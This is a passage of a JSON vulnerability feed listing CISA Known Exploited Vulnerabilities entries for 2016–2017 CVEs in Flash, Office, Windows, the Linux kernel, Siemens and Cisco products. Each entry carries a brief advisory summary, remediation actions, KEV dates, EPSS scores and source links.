instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.37045,"percentile":0.98506,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-0099&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-0099","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-0099 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-0099&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-0099, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-1019","cveId":"CVE-2016-1019","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Arbitrary Code Execution Vulnerability","summary":"Adobe Flash Player allows remote attackers to cause a denial of service or possibly execute arbitrary code.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22316,"percentile":0.97668,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-1019&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-1019","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-1019 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-1019&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-1019, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-4117","cveId":"CVE-2016-4117","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Arbitrary Code Execution Vulnerability","summary":"An access of resource using incompatible type vulnerability exists within Adobe Flash Player that allows an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94354,"percentile":0.99849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-4117&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-4117","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-4117 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-4117&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-4117, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-5195","cveId":"CVE-2016-5195","aliases":[],"kind":"vulnerability","title":"Linux Kernel Race Condition Vulnerability","summary":"Race condition in mm/gup.c in the Linux kernel allows local users to escalate privileges.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83524,"percentile":0.99682,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-5195&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-5195","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-5195 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-5195&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-5195, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-7193","cveId":"CVE-2016-7193","aliases":[],"kind":"vulnerability","title":"Microsoft Office Memory Corruption Vulnerability","summary":"Microsoft Office contains a memory corruption vulnerability which can allow for remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.57582,"percentile":0.99076,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-7193&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-7193","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-7193 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-7193&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-7193, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-7262","cveId":"CVE-2016-7262","aliases":[],"kind":"vulnerability","title":"Microsoft Office Security Feature Bypass Vulnerability","summary":"A security feature bypass vulnerability exists when Microsoft Office improperly handles input. An attacker who successfully exploited the vulnerability could execute arbitrary commands.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Excel","stacks":["Microsoft Office","Microsoft","Excel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.57733,"percentile":0.99078,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-7262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-7262","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-7262 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-7262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-7262, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-7855","cveId":"CVE-2016-7855","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Use-After-Free Vulnerability","summary":"Use-after-free vulnerability in Adobe Flash Player Windows and OS and Linux allows remote attackers to execute arbitrary code.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.25198,"percentile":0.9792,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-7855&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-7855","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-7855 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-7855&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-7855, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-8562","cveId":"CVE-2016-8562","aliases":[],"kind":"vulnerability","title":"Siemens SIMATIC CP 1543-1 Improper Privilege Management Vulnerability","summary":"An improper privilege management vulnerability exists within the Siemens SIMATIC Communication Processor (CP) that allows a privileged attacker to remotely cause a denial of service.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Siemens","product":"SIMATIC CP","stacks":["Siemens","SIMATIC CP"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0361,"percentile":0.89405,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-8562&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-8562","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-8562 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-8562&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-8562, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0001","cveId":"CVE-2017-0001","aliases":[],"kind":"vulnerability","title":"Microsoft Graphics Device Interface (GDI) Privilege Escalation Vulnerability","summary":"The Graphics Device Interface (GDI) in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607 allows local users to gain privileges","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Graphics Device Interface (GDI)","stacks":["Microsoft","Graphics Device Interface (GDI)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03114,"percentile":0.87714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0001&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0001","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0001 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0001&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0001, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0261","cveId":"CVE-2017-0261","aliases":[],"kind":"vulnerability","title":"Microsoft Office Use-After-Free Vulnerability","summary":"Microsoft Office contains a use-after-free vulnerability which can allow for remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7813,"percentile":0.99573,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0261&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0261","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0261 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0261&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0261, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-11292","cveId":"CVE-2017-11292","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Type Confusion Vulnerability","summary":"Adobe Flash Player contains a type confusion vulnerability which can allow for remote code execution.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11885,"percentile":0.9607,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-11292&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-11292","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-11292 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-11292&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-11292, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-11826","cveId":"CVE-2017-11826","aliases":[],"kind":"vulnerability","title":"Microsoft Office Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.81333,"percentile":0.99633,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-11826&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-11826","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-11826 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-11826&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-11826, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12231","cveId":"CVE-2017-12231","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software Network Address Translation Denial-of-Service Vulnerability","summary":"A vulnerability in the implementation of Network Address Translation (NAT) functionality in Cisco IOS could allow an unauthenticated, remote attacker to cause a denial of service.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS software","stacks":["Cisco","IOS software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0707,"percentile":0.94168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12231&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12231","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12231 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12231&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12231, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12232","cveId":"CVE-2017-12232","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software for Cisco Integrated Services Routers Denial-of-Service Vulnerability","summary":"A vulnerability in the implementation of a protocol in Cisco Integrated Services Routers Generation 2 (ISR G2) Routers running Cisco IOS could allow an unauthenticated, adjacent attacker to cause an affected device to reload, resulting in a denial of service.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS software","stacks":["Cisco","IOS software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02153,"percentile":0.82027,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12232&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12232","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12232 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12232&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12232, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12233","cveId":"CVE-2017-12233","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software Common Industrial Protocol Request Denial-of-Service Vulnerability","summary":"There is a vulnerability in the implementation of the Common Industrial Protocol (CIP) feature in Cisco IOS could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial of service.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS software","stacks":["Cisco","IOS software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-03","dueAt":"2022-03-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0707,"percentile":0.94167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12233&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12233","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12233 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12233&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12233, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12234","cveId":"CVE-2017-12234","aliases":[],"kind":"vulnerability","title":"Cisco IOS Software Common Industrial Protocol Request Denial-of-Service Vulnerability","summary":"There is a vulnerability in the implementation of the Common Industrial Protocol (CIP) feature in Cisco IOS could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial of service.","detail":"CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known 